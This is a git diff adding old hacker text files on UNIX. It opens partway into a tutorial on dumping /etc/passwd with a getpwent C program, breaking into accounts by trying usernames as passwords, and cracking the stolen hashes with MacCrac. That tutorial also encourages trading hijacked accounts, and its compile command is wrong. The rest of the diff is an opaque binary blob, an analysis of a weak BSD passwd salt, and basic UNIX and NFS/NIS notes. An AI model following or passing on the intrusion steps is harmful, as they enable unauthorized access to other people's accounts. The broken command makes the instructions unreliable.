+ while(p=getpwent()) + printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, + p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); + } + -------------------------------------------------------------CUT HERE + + Now then, for those you who are unfamiliar with UNIX scripts and/or their + implementation, follow these directions: + + First Copy the above script (not including the CUT HEREs) into a Text + file and save it as 'getp.c'. Next Login to your UNIX account and create a + directory called 'executables'. (At the prompt) Type: + + prompt directory name + / / +booya> mkdir executables + / + make directory + + Now, use Fetch or some other FTP client to FTP into your account and + Upload 'getp.c' into the directory 'executables'. Once you've done this, + login to your account, and goto the 'executables' directory: + + change directory + / +booya> cd executables + + Type 'ls' to List the directory to make sure the file is there. If it is + you can attempt to compile the 'getp.c' script. Almost all UNIX boxes + have Compilers, it's just a matter of whether or not you have acces TO + the Compiler. Typically you do. at the UNIX prompt Type: + +prompt compiler executable + \ / / +booya> cc -o getp.c getfile + / \ + output filename + option + + If you don't get an error you should be left with a file named 'a.out'. + Type: + +booya> a.out + + If you get a listing with the (encrypted) password intact, *buffer* the + contents to a text file and go on to MACCRAC-ING. if not, keep readin'. + + If you got an error when you tried to compile the 'getp.c' script: 'cc: + Command not found' then you either don't have that compiler or you don't + have access to it. In either case, try compiling with the GNU C Compiler: + + gnu c compiler + / +booya> gcc getp.c + \ + filename + + Again, you should be left with a file named 'a.out'. At the UNIX prompt + type: a.out. If you get a password file with the (encrypted) password file + intact, *buffer* the entire contents and go on to MACCRAC-ING. If not, keep + reading. + + -Last Resorts- + + In some cases none of the above listed attacks may work. It might be because + you're running a newer version of UNIX like SunOS v5.4. Also it, may just be + that you don't have permissions to access the 'passwd' file for whatever + reason. In the case of SunOs v5.4, v5.4 doesn't have those helpful v4.1.x + bugs so well documented in the CERT Advicories. In this case your best bet + may be to go pick up a book on UNIX (so you can know what you're doing), and + then goto the Bugtraq Archives: + + http://www.eecs.nwu.edu/~jmyers/bugtraq/search.html + + ...and do a search for 'SunOS 5.4'. Any vulnerabilities in 5.4 (or any other + system for that matter) may be found there. + + In cases where you just don't have access to the 'passwd' file for whatever + reason, you might try the 'Dumb User' Hack: Login to a UNIX using whatever + account you have. Once you're logged in, at the prompt type: + + change directory up 1 + / +booya> cd .. + ^ + Note space ' ' between 'cd' and '..' + +booya> ls + \ + lists contents of directory accounts + / \ +1031exch dianafcr jetski91 \ mikesotto sanders +aa7bq diane jgroff \ milton saucy +aacker digna jhill \ mjwright sawgal +aardvark dillon jillk mkansgen sbarnes +acarr / ditomaso jimfinly mmadison sbray + \ / + accounts [ALL of these are accounts] + +[etc...] + + What this process does is give you the names of all the common accounts on + the UNIX you're on. Buffer this list and print it out. Exit the UNIX (type: + exit) and try to Hack back using these accounts with the Account name as the + password. i.e.: + +UNIX(r) System V Release 4.0 (arthur) + +login: jetski91 +Password: jetski91 -- would not be shown +Login incorrect / +login: mkansgen / +Password: mkansgen +Last login: Sat Jan 27 12:34:31 from slip212m.vinue.net +Sun Microsystems Inc. SunOS 5.4 Generic July 1994 +You have new mail. +Sat Jan 27 12:41:04 MST 1996 +/usr/users/mkansgen +arthur{mkansgen}/usr/users/mkansgen% + + This is the 'Dumb User' Hack. Because a user was 'dumb' enough use his + account name for his password, it was easily hacked, and now that dummy's + account is your's. If the Dumb User's account has more privileges than + yours (i.e. Permission to read the 'passwd' file), go back through the + previously described methods and attempt to get the 'passwd' file. If the + account has no greater privileges, keep the account for later trading on + #hack and try and hack another account with more privileges. + + If you've tried everything and you still haven't succeed in stealing a + 'passwd' file, goto bed and thank God you don't have more troubles in life. + + + MACCRAC-ING + + At this point you should have a processable 'passwd' file. This file should + contain account entries with the encrypted password intact, and it should be + saved as a plain text file. If these are completed you can proceed with + using MACCRAC. + + Now to use MACCRAC there a couple of operating mechanics to go over. + Remember MACCRAC is a ported version of an IBM program, and since this is a + BETA, its still a little buggy, and frills free. Basically, there are four + main components of MACCRAC: + + MacCrac.FAT--This is the main MacCrac application which processes + and crack's UNIX 'passwd' files. + + MacCrac.Log--This is the file where all information generated during the + process off cracking a UNIX 'passwd' file is stored. + + DICTIONARY--This is a dictionary file containing words MACCRAC will use + to try and crack a 'passwd' file. + + passwd--This the file that contains the UNIX account information. + + + Important notes on the above: + + MacCrac.FAT + ----------- + MACCRAC REQUIRES that ALL FILENAMES MUST BE AS THEY ARE LISTED ABOVE! There + will be no dialogs to ask you which DICTIONARY or 'passwd' file you wish to + use. MACCRAC Will look ONLY for a Dictionary file called DICTIONARY and a + UNIX 'passwd' called passwd, AND it will only look for them in the immediate + folder it is in, so make sure these files are in the same folder with + MACCRAC. + + Dictionary + ---------- + The DICTIONARY is a standard Word Processing Dictionary as used by say, + Microsoft Word. MACCRAC's Dictionary is somewhat larger than most Word + Processoing Dictionaries with a size 2,431k. But other than it's size, it's + no different. Dictionary files consist of alphabetized words with one word + per line (carriage return) and no spaces. Heres a short sample of a + DICTIONARY file: + + A + a + aa + aal + aalii + aam + Aani + aardvark + aardwolf + + Now, at 2,413k, MACCRAC's Dictionary is fairly large...although certainly + not the largest. I personally have seen Dictionary files as large as 4 + gigabytes! But normally you won't need a Dictionary that big. In fact the + DICTIONARY file that comes with MACCRAC should be more than adequate. But if + you would like to use a larger Dictionary or would like to use a Dictionary + of say, Foreign Words, or Star Trek Terms, or Dog Names, then you can either + make them or, find them on the internet. + + In using these Dictionary files, it's important to remember that what ever + name they're called when you find them, they MUST be RENAMED to DICTIONARY, + and placed in the same Folder as MACCRAC in order to be used. If the + Dictionary file is not called DICTIONARY, or is not in the same Folder as + MACCRAC, it will not/cannot be used. + + As a final note on Dictionaries, there is a program called 'Word List + Maker'. This is a Drag&Drop program which allows you to Drag two or more + Dictionary files on to it, and it will combine them into a single Dictionary + AND delete all duplicate entries. This is great for making custom, or more + extensive DICTIONARY files for MACCRAC to use. Keep in mind though, that the + larger the Dictionary, the slower the process. + + passwd + ------ + Well the 'passwd' file is what we spent the majority of this Tutorial + discussing, so I shouldn't need to go into it much here. The most important + thing to say about the 'passwd' file at THIS point is that included with + MACCRAC is a file called 'passwd'; DELETE IT! This is just a sample file + included with MACCRAC probably for Development or Testing purposes. It will + do you no good. Replace it with your newly acquired 'passwd' file, and make + sure this newly acquired file is called: passwd. Also make sure it's in the + same Folder with MACCRAC + + + LET'S DO IT + + Well, f you have your 'passwd' file, and you have whatever Dictionay file + you're going to use, and all of the files are correctly named and placed in + the same Folder with MACCRAC, then I guess you're ready, so lets do it! + + For the sake of speed, and because you won't be able to use your computer + anyway, I suggest Restarting your Mac with Exensions Off (even if you have + RamCharger or RamDoubler). Once you've restarted, Double click on the + MACCRAC icon. If this is your first time running MACCRAC, just go up to + 'Crack' in the menubar and select: Start Cracking!. The first thing you'll + probably notice is that once you've started a Cracking Session you can't do + anything else. Thats because MACCRAC hogs the processor. I would suggest + starting a session around 11:00 pm and letting it run all night. By morning, + it should have cracked at least 40-50 accounts. + + If for some reason you want or need to stop a session before an entire + 'passwd' file is cracked, the only way to do it is with COMMAND-OPTION-ESC. + Don't worry, any cracks MACCRAC has cracked to that point will be saved. + + If you've already started Cracking a 'passwd' file but had to quit, you can + pickup where you left off by going up to the 'CRACK' menubar and dragging + down to Settings. Once in Settings select 'Recover session from "Point + File"'. Now you can 'Start Cracking!' where ever you let off. + + + OUTRO + + If you've let it run long enough, you should have passwords. At this point + you're on your way to geting to "ROOT". The topic of Hacking "root" on UNIX + has been addressed by any of a number of well written, informative and + readily available T-Philes on UNIX Hacking. At this point I suggest you + pursue them as this file will not address that topic (remember, this is a + Tutorial on MACCRAC) + + I'd like to thank Disorder, Voyager and the rest of TNo Crew for their + incite and assistance. That's it for this one. Look for more oleBuzzard's T- + Philes on the World's Greatest Underground Mac Board... + + oleBuzzard's 7 Macintosh/PC Underground + /T zey_SI$<7AZQ#9JONEWNBt6sgTYUft&H$UqmL03NBt;04BLm0E$&an+{N>B9}LT5ql zbnnR)8nV#ofQ_rpX+d3$s$u1+$QyX zI>ce?Hn9(P&iB0=!zPSjXhKGA=Pe8-JosI3^ANw@ar=mDPDBi$Jg@T}|tK z=+k}|hRLN3LO5@1-8KLk7D@wt+wCy~2>HqF;&g|QciS<|d%dwA({}W`odohUx5q{E z%I%59Fh$=>?xcq0V{Xz5E@^GO5J%_Nv5(Wy6ozq=#+|7-B$q~nc4-8=K0mWY+|B*u zhmhvnA0OChz{M-q`!ze8{IgyJ2eAp#W>{DjJj!+qejycFx0#1F6R=T^z=jJ~U^4D% zqRh`zRt)0s0`%h6Pl4YS6d<;8LpZq2m=Fvj*7%L!>DOtV+(&oB^;u@D-e?~~=26pO zaTkuVshu11haWD2TtZxA8b9>A)?EuP*EQ-jqOz}eh> z1hVXQiZA2`SQ=UvHk)YP#)E07feR;#rH8=bQt(K8~#ywL9K)0Q< zYqD!NR{Y$=hwy+$V&8+5JFQ+FQs6#f=-B4lYPWpnTG<5on3{b^`yRjL1?X8>ti+DP zhD-=GHie6tlrczbr5xWYSwcHx^YlI_F-ssY_z5NOk3K!j|}N_JElAa2$;`^%gshj*392eNYRZ;6jB znbT&v%OMmWSR!25b_ZH2b=A9y8Yxy5vlaUIyaag3K^NCMM^r5SEZRJNo!(`ZEH9HY zU`!W)Y6*Cu#Ty_sq#25B-5)}@A7b;IW$ZeE)K%G&LS4kGLxRr{Vm#-=>IxUgh<)>p zfFYkYP`8$J7G)@-F;ZMz-I#YiLS_;XeZGXDB|lhpb;Y;DznxWdO@pE5EWWy`PB((6 zUJv7Q&-QdhZd_gDt&1^IPOzzx!VAx381R}1(0=aycv~O}9#{-=TV0*&5f$c9RR+7< zA&t)ul;zI9fWfP!45Ds_JI*TrREkX?2CFOC^!T<4Eu3;7osa=#O&T)vDstx!v`DB< ziOhb|q57vw2lI@mDQ+I)#wi2Vmj#pROFmIe5krWy7 z!#l9gFpbm+a~2THf%HbS)gImIjnP4=Q4ihKH|) z`)#D*YgODuGz#7u>*ywEDJpo3zh#C}S!`nc-^DuKQt(n8Te^cEFLo@X8idaKu|#^M z<~q-e3irbE^(%Fd$^}#9QUav%Tq)SYxkWUuh&OH85P}V{hDm{fcHYo<=M*hmYamFJ z;!`Aujuu!vs{qw{u?;jB>Nt0Md{@)0T;kx7S);1@7R*Q*a`zvNi%mm5Ez(-zH~-zF;Q~PqeXW>lS7_F|)O{l2a{}TB$_W zc&r{oKWu#}6HE>icyND{sdx;fqyu+qkEgjzbaMK@8(Z+i3ul)xww4;bFu3tJN+d#* z;bQakYfXokY0_y91zdHI(o)vpZup8b?9nc1AjSM<8vA=H$08Nd^qH1MJs}J}WZE1( zq$u3`qUWY(I{jGe7(`XirW1M{@|GHydKe=^BjM;)LLRBdHVv@ui<+bn_6 zb%MkBrPm7O<}!cDK2w9!t5qkXyluhm2I2uMUu&^U&@ipa)TUwbb+~(k(&75orJ>h z66wKZu|RS$#BJgTNNTQGKU2Yd>Uz++$J3M3i2^m*@28o9e}i%A0oSuS>{~;-FrXH5 zV%Soyt4Fc~hwT}?Fb}|1GNx;_>AzBiEseG#u3c#2%y~7xYueJHxJRn-qfxAS5Wba! z)tb>TYM5gpGV~amQHYcc#uzedvEofGJFyU3?`$mYQ+nn-Mj@G6R~NxPbuUA1o6XaE z{u$eYy{AV>(7HYC{Fipvv`-)Sr&g{>segKej_rSsy0yCMeE-Drk5Bw?nWLNTLPYm$ zTOyHbt#DmtuZf1dP|MjnstB9pwEDTv`)p>hOtF-#`Rq958jm*nEyamf-Y*G-fCZ}@ z9u4zuZ8`8C&reU5jZ3v*opi3@e!Nh+h!u`0+p5TxC(LB4w7{GY?fs|_T+3hPs%uv^ zJ&T?r1N3E{gHD|%zRCX^6yHMRMwfDr!SfogUc;?^ry~M+_UtaP{xXl1PV^&T>lv41 z8i3mcNVfd6dJfKbW#B}njvkyf1sz<$HY%K~sfJZpmVxq5wT1*~dY&Z8n5H~V4U1mO z2g@M}ibl3B^yHjz(ZI3TlII$1bf5>A*Ge^kS73 zb?&xt&dylxphIZFe_$-HKHJQe?KTcbF=rT5$YQi&O-%Hr##X=P21e;Lr*snxC`L@` z@3?6@;q0cIKWVxs)^r;7v^=0XpQpt9KD)@^t2bmDf_f`3P* z*#|q1DBIfEX^S0B){|T7Yt;~1Pa=J0U$M5>6;WqRrM6TLLW|O3EJJjen>c$qy7g=) zsvPBuDk^ne>Rh=SjndK8rEkTduYJqubZJ)@e3>gt0>oIt35M$jyWFb%;U9nf%MXA0 j_PcN0pa1s5_ilgx>AlPU{PFMKeg9*TL(2W)|NZ$l?_9`v literal 0 HcmV?d00001 diff --git a/textfiles.com/hacking/UNIX/nfstricks.txt b/textfiles.com/hacking/UNIX/nfstricks.txt new file mode 100644 index 00000000..3d7a72b8 --- /dev/null +++ b/textfiles.com/hacking/UNIX/nfstricks.txt @@ -0,0 +1,21 @@ +NFS TRICKS + +Although NFS was originally was wretten for UNIX systems, rating from Macs, PC's, and IBM main frames. These versions allow for flexible file-sharing. It's when the files with the text and graphicseside on a UNIX system. Then the screen shots are saved by way of NFS, in files back on the UNIX host. + +If you use a bunch of different computers, NFS is often used to hook them all up together becaues it runs a much wider viriety of computers then does any other file-sharing system. + +NFS is based on a pair of standard inernet communication protocols called UDP/IP. If your machine uses NFS, therefore, you can use NFS files that are easily found on the inernet. + +If your computer and the one that the files live are connected by fast enough network, you can use files many miles away just as if they were local. Remote network links are considerably slower than local networks are, (most of the time 100 times slower) which means that you can get the impresion of a very slow disk. + +For use as a regular file storage, slow remote NFS is worthless to browse and retrieve files from an archive, however NFS can be okay. Systems which have large file archives allow anyone to access their disks by way of NFS. Because public archive systems can have hundreds of directories and thousands of files, mounting a remote systems disk by way of NFS lets you use familiar directory and file commands to look at them. + +It will take a while to list directories, read files and so on, but it would take a lot less time then if you used FTP (the standard remote-file program) if you find a file or group of files copy them to a disk if you plan on using them much. + +Some UNIX systems, if it's configured correctly, mount remote NFS systems automatically, however, many do not. + + +Created by a member of Twisted Altar Lord Pyro + + + diff --git a/textfiles.com/hacking/UNIX/nis.txt b/textfiles.com/hacking/UNIX/nis.txt new file mode 100644 index 00000000..3d9a9b7f --- /dev/null +++ b/textfiles.com/hacking/UNIX/nis.txt @@ -0,0 +1,8 @@ +NIS Explained +by Virtual Circuit and Psychotic + +NIS or Network Information Systems is a concept of unix that users need to learn. NIS used to be called the "Yellow Pages" until somebody pointed out that it was the trademark of the phone company. + +When a company has to many workstations the best way to set them up is to have them connect and share files by means of NFS. Then you should give access to the machines to your users so that they will have one large system. Keeping all the workstations' administrative information organized is a small problem. A password file was given to each individual system in order to list the users and a set of mount points or directories. In 50 workstations, when the system added a new users those user had to be added to 50 seperate password files, etc. The only way to ease this problem was to use NIS. It puts nearly all of the administrative information in one place that is roganized by NIS. It makes all the availlable workstation accessable by each of the new users. This works out very well. After the administrator updates the master files the database can get clumsy and out of sync. This is usually caused by the admin regenerating the NIS database and accidently making a mistake.The design of NIS makes it possible to create security holes. The computers are accesible to only a small group of users but it makes it easy for one of the million internet hackers to break in. + +You work from here. I'll update this text later with more info on this system setup. diff --git a/textfiles.com/hacking/UNIX/p500unix.txt b/textfiles.com/hacking/UNIX/p500unix.txt new file mode 100644 index 00000000..e7425b02 --- /dev/null +++ b/textfiles.com/hacking/UNIX/p500unix.txt @@ -0,0 +1,817 @@ +Parent-Message-Id: <12229084762.30.AWALKER@RED.RUTGERS.EDU> + + +There is a flaw in the Berkeley 4.3 Unix passwd program that makes a +tape attack on a password feasible. (We haven't looked at any other +versions of Unix.) From passwd.c: + + time(&salt); + salt = 9 * getpid(); + saltc[0] = salt & 077; + saltc[1] = (salt>>6) & 077; + for (i = 0; i < 2; i++) { + c = saltc[i] + '.'; + if (c > '9') + c += 7; + if (c > 'Z') + c += 6; + saltc[i] = c; + } + pw = crypt(pwbuf, saltc); + +What does the salt depend on? Well, the paper on unix password +security by Morris and Thompson states that the choice of seed is based +upon the time of day clock and that there are 4096 different possible +seeds. (See "Password Security: A Case History" CACM, v 22, n 11, +November 1979, p. 594. That paper is often distributed with Unix +manuals.) On first glance at the above code, we were surprised to +find a call to getpid() in addition to the expected call to time(). A +close inspection of the first two lines of the above code reveals that +result of the call to time() is completely thrown out in the next line +of code. The salt depends only on the process ID number of the passwd +program! + +But, lets go ahead and assume that a call to getpid() produces a +sufficiently random 16 bit number. What's the effect of multiplying +by 9? Well, since on the next two lines, only the low 12 bits of the +variable "seed" are used, the multiplying by 9 reduces the number of +possible seeds by a factor of nine. For example, after the second +line of code above, the variable "seed" could be 0, 9, 18, 27, etc, +but it could never be any value that is not a multiple of 9. Thus the +passwd program can only produce 4096/9 (= 456) of the 4096 possible +salt values. (It's amusing to note that without the second line, or +if the operator was "+=" instead of just "=" in the second line, the +code would generate all 4096 different seeds with about evenly +distributed probabilities.) + +So what? Well, imagine taking a dictionary of 30,000 likely passwords +and producing 456 different files, one for each different salt, and +each containing 30,000 hashed passwords, each on a separate line, and +in the same order as the words in your dictionary. Each file would be +about 270 thousand bytes long (including line-feeds) and all the files +together could be kept on two 6250bpi tapes (which hold about 100 +megabytes each). Now, to determine somebody's password from their +entry in the password file (assuming that their password is in your +original dictionary), position the appropriate tape at the start of +the file corresponding to the that user's salt and grep -n the tape +for the hashed password. (This will be vastly faster than 30,000 +calls to crypt(), even the faster versions described in an earlier +message.) + +If the salt could take on all 4096 possible values, you would need +instead need around 15 tapes to hold all the files. + +All this underlies the importance of choosing a password which is not +in any dictionary and which is long enough. + + Bob Baldwin + BALDWIN@XX.LCS.MIT.EDU + ...!ihnp4!mit-eddie!baldwin + + and + + Tim Shepard + SHEP@XX.LCS.MIT.EDU + ...!ihnp4!mit-eddie!shep +------- + +provided for your consideration by: + + | Striker | + Phortune500/BOD + -=>The DEC Hunters<=- + + + +============================================================================== + + UNIX* Usage Notes + + +The following is a collection of information on various UNIX topics: + + +Logging On +---------- + +You need a username and a password, supplied by the system administrator. +Some systems have guest accounts ("guest", "netguest", and other names). +To find out who's on the system without logging in, "who", "finger", or +"w" may work on your system. + +(WARNING-- When you get a username or password wrong, a message gets printed +out on the system console. Trying to brute-force your way into someone else's +system is stupid, and you can get caught easily.) + +There is a new Federal law that prohibits fucking around with computers across +state lines; many states also have tough computer-crime laws. You're best off +(believe me, I KNOW) using a UNIX system you have legitimate access to, such +as a school's system or a public access UNIX/Xenix (there are a few in New +York and other places; where you pay a certain amount per month). + + +Special Characters +------------------ + +ctrl-C (DEL (Ascii 127 on some systems) Interrupt. Stops the current + program. (intr) [<-- name for changing it with the "stty" command] + +ctrl-B (or ctrl-\ (28)) Quit. Like control-C but stronger. Often works + when ctrl-C doesn't. Try ctrl-C first; some programs catch it so + they can clean up and exit gracefully. (quit) + +ctrl-D End-of-file. Used to end input when the terminal is being read as a + file (mail senders and many other programs do this). If you type + control-D to the shell (command interpreter), it will usually log + you out. (If not, use "exit" or "logout".) (eof) + +DEL (or ctrl-H) Erase the last character typed. (erase) + +ctrl-U (rarely @) Erase the line typed so far. (kill) + +ctrl-S Pause during output. (stop) +ctrl-Q Resume during output. (start) + +ctrl-M Will usually work just like RETURN. +ctrl-J Will usually work just like RETURN. + +As you can see, special characters are hardly standardized. (Old UNIX's used +to use # for character erase!) Give the "stty" command to see the settings on +your system, or to change them for your terminal session. To change the erase +to backspace (ctrl-H), give the command "stty erase '^H'". + + +Getting Information on Commands +------------------------------- + +"man" is the standard command for getting information. "man mail" tells you +all about the 'mail' command. "man -k delete" gives you a list of everything +matching the keyword 'delete'. + + +Sending and Receiving Mail +-------------------------- + +"mail joe" sends a letter to the username 'joe'. Type your letter on the +next lines, ending with control-D on a line by itself. +"mail" lets you read your mail. When it asks whether to "save?", 'y' saves +the letter in your file 'mbox' (for old mail); 'n' gets rid of it. + +Many systems also have more sophisticated programs for sending and receiving +mail (for those, type a "?" at the mail prompt "_" or maybe "-"). + + +Directories ala UNIX +-------------------- + +UNIX files are arranged in a tree structure. (If you're used to MS-DOS or +PC-DOS, just use forward slashes / instead of backslashes \, and forget about +drive letters, and you'll be fine.) + +There is a root directory, the "top" of the file system. At any point, there +can be subdirectories, which are just named areas to put files in so they +won't clutter up the root directory. These subdirectories can contain sub- +directories, which can contain other subdirectories, and so forth until the +disk can't hold any more files. + +Here's an example of what *part* of a UNIX filesystem might look like: + +(root) + / + ++++++++++++++++++++++++++++++++++++ + + + + + + + + + + + + + + + unix/ bin/ etc/ lib/ tmp usr/ + + + + + ++ + ++ lib dev src + + + + + + + + + + + + + + + + adm bin george bill mikey + +A name like /foo/bar means start at the root, go to subdirectory foo, then +to the file bar (which can be either a subdirectory or a plain file). +"foo/bar" (no slash at the beginning) means start at the CURRENT DIRECTORY +(the 'pwd' command tells you where you are), and go through subdirectory +foo to bar. + +foo means foo in the current directory. . (a dot) means the current direc- +tory itself; .. (two dots) means the parent directory, one level above the +current one. So ./xyzzy is the same file as xyzzy. + +/unix is the UNIX kernel, the system routines that get read in when the system +is booted up. + +/bin and /usr/bin (and other places like /usr/local on most systems) hold +command programs; when you type 'pwd' or 'ls' (list files) or most other UNIX +commands, these directories are checked for the 'pwd' or 'ls' program or what- +ever. Almost all UNIX commands are ordinary programs; nothing magical. + +/etc, /lib, /usr/lib, /usr/adm, etc. hold "miscellaneous" system files. A few +of these are quite critical; I'll discuss them later. + +/tmp and /usr/tmp are work areas for temporary files. They get cleared +regularly, at least whenever the system is re-"booted". + +In this example, /usr/george, /usr/bill, and /usr/mikey are three users' file +areas or "home directories". Naming of home directories varies wildly between +UNIX systems; they might look like /usr/george or /usr/users/smith or +/home/andrews or /i/ins/.heyho. When you log in, your current directory is +set to your home directory. + + +Commands for Managing Directories +--------------------------------- + +cd Change Directory - move to another current directory (e.g. + "cd /usr/george" or "cd .."). Plain "cd" takes you to your + own home directory (unlike MS/PC-DOS!). + +pwd Print Working Directory - prints your current (default) + directory. Lets you see where you are. + +mkdir MaKe DIRectory, e.g. "mkdir hacks" to create a subdirectory + named "hacks" under your current directory. + +rmdir ReMove DIRectory. The directory must be empty. + + +Other File Commands +------------------- + +ls LiSt files. You may give directories or filenames after "ls", or "ls" + by itself will list the current directory. +ls -l List in Long format (with protection, owner, size (in characters) and + date before the filenames. +ls -a List All files; ordinarily files starting with a dot are not listed. + Many "setup" files have names like .profile, .login, .cshrc, .sendrc, + and so forth. Ordinarily "ls" doesn't bother you with them. +ls -d foo + Lists "foo" as a file; doesn't list what's inside if foo is a + directory. Useful in combinations like "ls -ld foo". + Other options can be combined this way, like "ls -al". + +cat chow + Prints the contents of the file "chow" on your terminal. +rm trash + ReMoves (deletes) the file "trash". Once it's gone, you can't get it + back again. +chmod + Changes file protections. More about that later. +ed, vi, ex, emacs, ... + Text editors. Consult any good introductory UNIX book. + + +Input/Output Redirection +------------------------ + +Using "file" redi- +rects output to "file", clobbering whatever was in it before. ">>file" means +append to the end of "file". + +"foo a b c | bar x y z" means to run the command "foo a b c", and give its +output as the input of the command "bar x y z". This is called a 'pipe' +between the commands; UNIX hackers call '|' a "pipe sign". + +For example, "cat" (like many commands) uses standard input if you don't give +a filename. If you say "cat >piss", it'll read from your terminal until you +hit control-D, and put that text into the file "piss". + + +Special Filename Characters (Wildcards) +--------------------------------------- + +'*' in the command line matches any string of characters within a filename. +'?' matches any ONE character. '[abc]' matches 'a', 'b', or 'c'. For +example, "*.c" will match "foo.c", "prog2b.c", and ".c", but not "mailbox" +or ".c.d.e". + +A dot at the beginning of a filename (as in ".profile") and directory slashes +will not be matched -- you have to type them explicitly. + +These wildcards are expanded on the command line. So if you type "echo a*b", +"echo" might be run with arguments "abb" "alba1.b" etc., or whatever. (echo +just echoes back its arguments to you; "echo *" works a lot like plain "ls".) + + +UID's, GID's, and File Protection +--------------------------------- + +Your account has a User ID (uid) number, which identifies which files you own, +and a Group ID (gid), which determines which files you can access as a member +of "the group". + +A uid of 0 is special. It signifies the superuser, who can read any file and +write any non-directory. Superusers can use "chown" and "chgrp" to change +the ownership of files, and in general do anything we damn well please. +There is usually an account "root" whose uid is 0. If you're running a UNIX +system, NEVER give the superuser password to anyone who doesn't have a DAMNED +EXCELLENT reason to know. (change the password frequently--maybe every week +or two; ALWAYS whenever an "employee" leaves). + +There are three ways to access a file -- owner, if your uid matches that of +the file; group member, if your gid matches the file's; and other. + +Whenever you create a file, it is given your uid and gid. + +The "ls -l" display shows the protection code for a file (which the owner may +change). A typical "ls -l" line might look like this: + + -rw-r--r-- george users 6125 May 20 15:42 stuffy-funk + + prot.code owner group size mod.date name + (these correspond + to uid & gid #'s) + +The protection code can be broken down into several sections: + +- rw- r-- r-- + +1 2 3 4 + +1: 'd' for a directory, 'b' or 'c' for "special files" which are really + devices, and '-' for ordinary files. + +2: permissions for the owner. 'r'=read, 'w'=write, 'x'=execute. +3: permissions for the group. +4: permissions for others. + + +Protection on Directories +------------------------- + +Since it makes no sense to 'execute' a directory, the protection bits have +a slightly different meaning on a directory. + + Execute means you can access files and subdirectories if you know their +names. (If a directory has execute but no read permission, you can't "ls" +it to see what's there, but you can use files you know are there.) + Read means you can look to see what's there with "ls" or with special +filename characters. + Write means you can create and delete files in the directory. THIS IS THE +ONLY PROTECTION DEALING WITH DELETING FILES - it doesn't matter whose file it +is, as long as you have write permission in its parent directory. + + +SetUID and SetGID programs +-------------------------- + +If the setuid bit of an executable file is set, then whenever you run that +file, your "effective uid" temporarily becomes that of the file. This is +commonly used for games which write to a high score file that people should +not be able to mess with otherwise. The "set group id" bit works similarly. +These bits show up as an 's' instead of an 'x' in the owner and group sections +of the protection code. + + +The "Sticky" Bit ('t' bit) +---------------- + +Only the superuser can set the sticky bit, which shows up as a 't' in the +"others" section of the protection code. This bit means the program can't +be swapped out of memory, speeding up access time for small systems programs +that are used often. This bit can also be set as a part of your trusty hack +program (to be presented in a later installment). + + +Changing File Protection with "chmod" +------------------------------------- + +The chmod command has the form "chmod CODE FILE(S)". CODE is an octal code +made by or-ing together the following: + +04000 set user id on execution +02000 set group id on execution +01000 sticky bit [program is loaded into buffer] + 0400 read permission for owner + 0200 write permission for owner + 0100 execute permission for owner +040, 020, 010 read, write, execute for group + 04, 02, 01 read, write, execute for others + +For example, "chmod 644 trash" would set the file "trash" to be readable and +writable by the owner, and only readable by others (or world). +Of course, only the owner or the superuser can use chmod on a file. + + +The Password File -- /etc/passwd +----------------- + +The file /etc/passwd lists all the accounts on the system. It is stored in a +printable form, and everyone can read it. Each account is represented by a +line like + +george:D/d7C.Xyu3pPr:205:40:George Porgie:/usr/george:/bin/sh +1----- 2------------ 3-- 4- 5------------ 6---------- 7------ + +There are seven parts, separated by colons. + +1: the username +2: the encrypted password. The encryption algorithm is supposed to not be + reversible; to check the password you type while logging in, UNIX encrypts + your guess and sees if the encrypted version matches. + If no value is given (like in "guest::99:99: ...etc..."), no password is + necessary. If you see an "X" or "*" or "NOLOGIN" or something here, then + nobody can log into the account, since the "X" will never match an encrypt- + ed password. +3: the user id +4: the group id. (The file /etc/group lists group ids and group names.) +5: usually the person's real name +6: the home directory +7: the command interpreter to use. The default is "/bin/sh". Special + accounts like "who" work by putting the program name (like /bin/who) + here; as soon as this "command interpreter" finishes, the account is + logged off. + + +The SU Command -- Temporarily Switching to Another Account +-------------- + +If you give the command "su bill", it will ask for a password. If you give +bill's correct password, you temporarily switch into bill's account. Type +a control-D to get back to your own account. + +"su" by itself means the same as "su root". *WARNING*!! Every time you use +su to try to get into a superuser account, it prints a message on the system +console (something like "SU george 20 May 1986 15:42" if you get in; "BADSU" +etc. if you don't). Don't try to force your way in with "su" -- they'll +notice and possibly trace your phone line. + +============================================================================= + +This is the end of my introduction to UNIX* systems. +Look for further installments on the UNIX series of operating systems. +(Including "Hacking" philes :-) + + +---Striker---> 1/12/86 +---=======--> uVaxSquad! + +* UNIX is a trademark of AT&T Bell Laboratories +-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|- + +note: I wrote this particular doc phile last year and I haven't included + changes from the new System V and System 7 releases. In the future + there will be appended versions with Xenix and BSD specifics... + + + | Striker | + Phortune500/BOD + -=>The DEC Hunters<=- + + uucp ...!ihnp4!mb2c!fmsrl7!cideq3!striker + {ihnp4,seismo,philabs,ucbvax}!decvax!cwruecmp!ncoast!bizarre + ...!ucbvax!ucivax!amovax!conexch!striker +Inter striker@cideq3.cidnet.com + ncoast!bizarre%Case.CSNET@CSnet-Relay.ARPA + + + + ******************** + Basic Unix Use + By Lord Lawless + Phortune 500 + Board of Directors + ******************** +March 8, 1987 +------------- + +This file is basically a brief introduction and overview for the beginning +hacker to the Unix operating system. All information contained herein is +accurate to the extent of my knowledge. This file is intended for inform- +ational purposes only and the author (Lord Lawless) is in NO way responsible +for the use of this file for purposes other than the aforementioned. + +Part I: What is Unix? +---------------------- +Unix is an operating system, so designated because it allows a user to +interface with a computer in a way that is (hopefully) easy for the user to +learn and use. Unix can be known by other forms, PC-Unix, Xenix, etc., but +they all basically are the same (with slight differences this file won't go +into) and use the same commands. Unix is a wonderfully simple to use OS once +you begin, and while this file will help you I recommend that you find a Unix +system somewhere and wander around on it to help yourself to learn. To put +this more formally: + +The UNIX system is a set of programs that include a time-sharing +operating system and a set of utility programs. The operating +system has two basic parts: + +1) The kernel is the program in the UNIX operating system +that is responsible for most operating system functions. It +schedules and manages all the work done by the computer and +maintains the file system. It is always running, and is +invisible to users. + +2) The shell is the UNIX operating system program responsible +for handling all interaction between users and the computer. +It includes a powerful command language called "shell language"*. + +The utility programs (usually called UNIX commands) are executed +through the shell, and allow users to communicate with each other, +to edit and manipulate files, to write and execute programs in +several programming languages, and many other things. + + +Part II: Recognizing a Unix system +------------------------------------- +When you connect to a Unix system you will see a message usually like +"AT&T Unix: Unauthorized use 